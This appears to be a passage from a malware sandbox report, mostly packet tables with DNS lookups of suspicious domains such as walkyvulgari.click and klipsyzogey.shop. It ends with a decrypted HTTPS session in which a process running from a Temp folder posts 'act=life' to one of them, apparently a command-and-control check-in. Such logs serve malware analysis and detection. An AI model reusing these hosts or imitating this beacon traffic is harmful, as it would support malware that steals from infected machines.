Dec 27, 2024 10:22:09.549266100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.549297094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.549339056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.554189920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.554208994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.554281950 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.554315090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.554358006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.717818022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.717839003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.717947006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.717992067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.718041897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.723066092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.723082066 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.723150015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.723161936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.723201036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.728650093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.728663921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.728733063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.728743076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.728780985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.733561039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.733577013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.733642101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.733654022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.733695030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.739432096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.739449978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.739515066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.739526033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.739567041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.744774103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.744791031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.744853973 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.744868040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.744926929 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.750458002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.750475883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.750545979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.750556946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.750595093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.756061077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.756076097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.756144047 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.756156921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.756196022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.919740915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.919760942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.919800043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.919811010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.919826984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.919851065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.924840927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.924856901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.924988031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.924999952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.925116062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.929879904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.929897070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.929964066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.929977894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.930015087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.935653925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.935668945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.935749054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.935760021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.935796976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.941221952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.941239119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.941307068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.941315889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.941354036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.946568966 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.946585894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.946641922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.946651936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.946691036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.952299118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.952351093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.952368975 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.952378035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.952404976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.952423096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.957284927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.957302094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.957365990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.957380056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.957418919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.121393919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.121411085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.121481895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.121498108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.121526957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.121547937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.126183987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.126200914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.126269102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.126277924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.126317978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.131289959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.131306887 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.131351948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.131365061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.131381989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.131401062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.136964083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.136980057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.137048006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.137063026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.137108088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.142570972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.142590046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.142653942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.142666101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.142705917 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.147969961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.147986889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.148051023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.148062944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.148096085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.153650045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.153680086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.153714895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.153724909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.153753042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.153762102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.158654928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.158670902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.158725977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.158735991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.158781052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.322613955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.322634935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.322726965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.322746038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.322789907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.327641964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.327668905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.327721119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.327732086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.327760935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.327775955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.333333969 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.333359003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.333432913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.333445072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.333488941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.338392019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.338407993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.338469028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.338479996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.338524103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.343988895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.344005108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.344079018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.344091892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.344130993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.349421024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.349442959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.349488974 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.349498987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.349528074 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.349549055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.355048895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.355077028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.355133057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.355143070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.355182886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.360784054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.360800982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.360873938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.360883951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.360928059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.523936987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.523955107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.523993969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.524013042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.524025917 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.524049044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.529021978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.529037952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.529083967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.529093981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.529130936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.534818888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.534836054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.534872055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.534884930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.534904003 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.534920931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.539788008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.539803028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.539877892 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.539891958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.539942026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.545540094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.545558929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.545640945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.545666933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.545707941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.550808907 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.550827026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.550883055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.550896883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.550935030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.556436062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.556451082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.556523085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.556534052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.556575060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.562150955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.562167883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.562249899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.562258959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.562297106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.725263119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.725280046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.725378036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.725394964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.725440025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.730463028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.730479002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.730552912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.730561972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.730606079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.736169100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.736185074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.736246109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.736258984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.736298084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.741252899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.741271019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.741334915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.741348028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.741386890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.747034073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.747051001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.747113943 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.747128010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.747169971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.752244949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.752262115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.752327919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.752340078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.752377987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.757940054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.757956028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.758027077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.758038044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.758075953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.763571024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.763588905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.763647079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.763659000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.763681889 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.763696909 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.766978979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.767029047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.767031908 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.767044067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.767070055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.767705917 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.767765045 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.785052061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.785070896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:10.785084963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:10.785093069 CET	443	49745	172.67.214.186	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 10:21:08.998440981 CET	60379	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:09.222681046 CET	53	60379	1.1.1.1	192.168.2.4
Dec 27, 2024 10:21:23.534331083 CET	56228	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:24.245733023 CET	53	56228	1.1.1.1	192.168.2.4
Dec 27, 2024 10:21:38.511904955 CET	58919	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:38.652390003 CET	53	58919	1.1.1.1	192.168.2.4
Dec 27, 2024 10:21:46.739811897 CET	55624	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:47.215318918 CET	53	55624	1.1.1.1	192.168.2.4
Dec 27, 2024 10:21:49.393254995 CET	57530	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:49.707335949 CET	53	57530	1.1.1.1	192.168.2.4
Dec 27, 2024 10:21:50.120212078 CET	60321	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:21:50.338097095 CET	53	60321	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 10:21:08.998440981 CET	192.168.2.4	1.1.1.1	0x2c0f	Standard query (0)	mzaisLRxVRUnOUQWdGyHcVQZJ.mzaisLRxVRUnOUQWdGyHcVQZJ	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:23.534331083 CET	192.168.2.4	1.1.1.1	0x7c4b	Standard query (0)	walkyvulgari.click	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:38.511904955 CET	192.168.2.4	1.1.1.1	0x9872	Standard query (0)	walkyvulgari.click	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:46.739811897 CET	192.168.2.4	1.1.1.1	0xde91	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:49.393254995 CET	192.168.2.4	1.1.1.1	0xb7fb	Standard query (0)	klipsyzogey.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:50.120212078 CET	192.168.2.4	1.1.1.1	0xd286	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 10:21:09.222681046 CET	1.1.1.1	192.168.2.4	0x2c0f	Name error (3)	mzaisLRxVRUnOUQWdGyHcVQZJ.mzaisLRxVRUnOUQWdGyHcVQZJ	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:24.245733023 CET	1.1.1.1	192.168.2.4	0x7c4b	No error (0)	walkyvulgari.click		104.21.94.92	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:24.245733023 CET	1.1.1.1	192.168.2.4	0x7c4b	No error (0)	walkyvulgari.click		172.67.221.152	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:38.652390003 CET	1.1.1.1	192.168.2.4	0x9872	No error (0)	walkyvulgari.click		172.67.221.152	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:38.652390003 CET	1.1.1.1	192.168.2.4	0x9872	No error (0)	walkyvulgari.click		104.21.94.92	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:47.215318918 CET	1.1.1.1	192.168.2.4	0xde91	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:49.707335949 CET	1.1.1.1	192.168.2.4	0xb7fb	No error (0)	klipsyzogey.shop		172.67.214.186	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:49.707335949 CET	1.1.1.1	192.168.2.4	0xb7fb	No error (0)	klipsyzogey.shop		104.21.23.250	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:21:50.338097095 CET	1.1.1.1	192.168.2.4	0xd286	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

walkyvulgari.click

cegu.shop

klipsyzogey.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: walkyvulgari.click
2024-12-27 09:21:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 09:21:29 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3is60ap5s3kbc8p2b7mlh5mlc5; expires=Tue, 22 Apr 2025 03:08:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HjIFep407DUAG632ft3Jyq6ow55m3%2B%2FblAh0EH0O8BOVvEogGa5NxHdc4ORAK6Z5ugYT5bHEXuQzm0GeJQKPR5g0s4zbyh4GOsiFq7TICuxvoRNAYH0Bqyu7ryTh13K5WbdYKZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883d888a5841bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1562&rtt_var=606&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1777236&cwnd=205&unsent_bytes=0&cid=50091686a479b535&ts=3865&x=0"
